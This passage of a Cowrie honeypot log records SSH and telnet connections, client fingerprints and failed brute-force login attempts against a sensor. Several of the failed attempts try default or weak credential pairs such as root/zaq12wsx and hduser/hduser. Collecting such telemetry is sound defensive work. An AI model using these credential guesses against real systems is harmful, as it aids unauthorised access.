.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:40.989347Z","src_ip":"176.65.132.129","session":"5a427743cab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:41.237006Z","src_ip":"176.65.132.129","session":"5a427743cab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:42.322860Z","src_ip":"176.65.132.129","session":"5a427743cab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35434,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ee6bcd667c","protocol":"telnet","message":"New connection: 45.58.127.90:35434 (10.17.0.5:23) [session: 87ee6bcd667c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:42.869385Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59046,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc83558268b8","protocol":"ssh","message":"New connection: 172.237.20.62:59046 (159.203.135.109:22) [session: bc83558268b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:43.236366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:43.240683Z","src_ip":"172.237.20.62","session":"bc83558268b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:43.399025Z","src_ip":"172.237.20.62","session":"bc83558268b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:43.879653Z","src_ip":"172.237.20.62","session":"bc83558268b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53060,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca198fb2edb","protocol":"ssh","message":"New connection: 176.65.132.129:53060 (159.203.135.109:22) [session: 8ca198fb2edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:44.310564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:44.316055Z","src_ip":"176.65.132.129","session":"8ca198fb2edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:44.397811Z","src_ip":"176.65.132.129","session":"8ca198fb2edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:44.862549Z","src_ip":"176.65.132.129","session":"8ca198fb2edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:45.123056Z","src_ip":"172.237.20.62","session":"bc83558268b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:45.950825Z","src_ip":"176.65.132.129","session":"8ca198fb2edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43890,"dst_ip":"159.203.135.109","dst_port":22,"session":"694822cd090b","protocol":"ssh","message":"New connection: 176.65.132.129:43890 (159.203.135.109:22) [session: 694822cd090b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:48.040358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:48.044813Z","src_ip":"176.65.132.129","session":"694822cd090b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:48.126368Z","src_ip":"176.65.132.129","session":"694822cd090b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:48.371148Z","src_ip":"176.65.132.129","session":"694822cd090b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:49.456721Z","src_ip":"176.65.132.129","session":"694822cd090b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43896,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb79fc3ce096","protocol":"ssh","message":"New connection: 176.65.132.129:43896 (159.203.135.109:22) [session: bb79fc3ce096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:51.481402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:51.485999Z","src_ip":"176.65.132.129","session":"bb79fc3ce096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:51.572143Z","src_ip":"176.65.132.129","session":"bb79fc3ce096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:51.818272Z","src_ip":"176.65.132.129","session":"bb79fc3ce096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.34422421455383,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:52.144340Z","src_ip":"45.58.127.90","session":"80895089274c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:52.903988Z","src_ip":"176.65.132.129","session":"bb79fc3ce096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.566391944885254,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:53.648885Z","src_ip":"45.58.127.90","session":"6e79fb6209f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50820,"dst_ip":"159.203.135.109","dst_port":22,"session":"0781b995bd39","protocol":"ssh","message":"New connection: 172.237.20.62:50820 (159.203.135.109:22) [session: 0781b995bd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:54.145806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:54.190430Z","src_ip":"172.237.20.62","session":"0781b995bd39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:54.308964Z","src_ip":"172.237.20.62","session":"0781b995bd39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:54.946309Z","src_ip":"172.237.20.62","session":"0781b995bd39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce0aa6ffd0d","protocol":"ssh","message":"New connection: 176.65.132.129:43902 (159.203.135.109:22) [session: 8ce0aa6ffd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:55.225345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:55.283061Z","src_ip":"176.65.132.129","session":"8ce0aa6ffd0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:55.347424Z","src_ip":"176.65.132.129","session":"8ce0aa6ffd0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:55.646195Z","src_ip":"176.65.132.129","session":"8ce0aa6ffd0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:56.109678Z","src_ip":"172.237.20.62","session":"0781b995bd39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:56.732550Z","src_ip":"176.65.132.129","session":"8ce0aa6ffd0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"677042214188","protocol":"ssh","message":"New connection: 176.65.132.129:56476 (159.203.135.109:22) [session: 677042214188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:58.741182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:58.745359Z","src_ip":"176.65.132.129","session":"677042214188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:58.827505Z","src_ip":"176.65.132.129","session":"677042214188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:59.073717Z","src_ip":"176.65.132.129","session":"677042214188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:00.159359Z","src_ip":"176.65.132.129","session":"677042214188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56486,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec757ccd0e4b","protocol":"ssh","message":"New connection: 176.65.132.129:56486 (159.203.135.109:22) [session: ec757ccd0e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:02.048395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:02.124690Z","src_ip":"176.65.132.129","session":"ec757ccd0e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 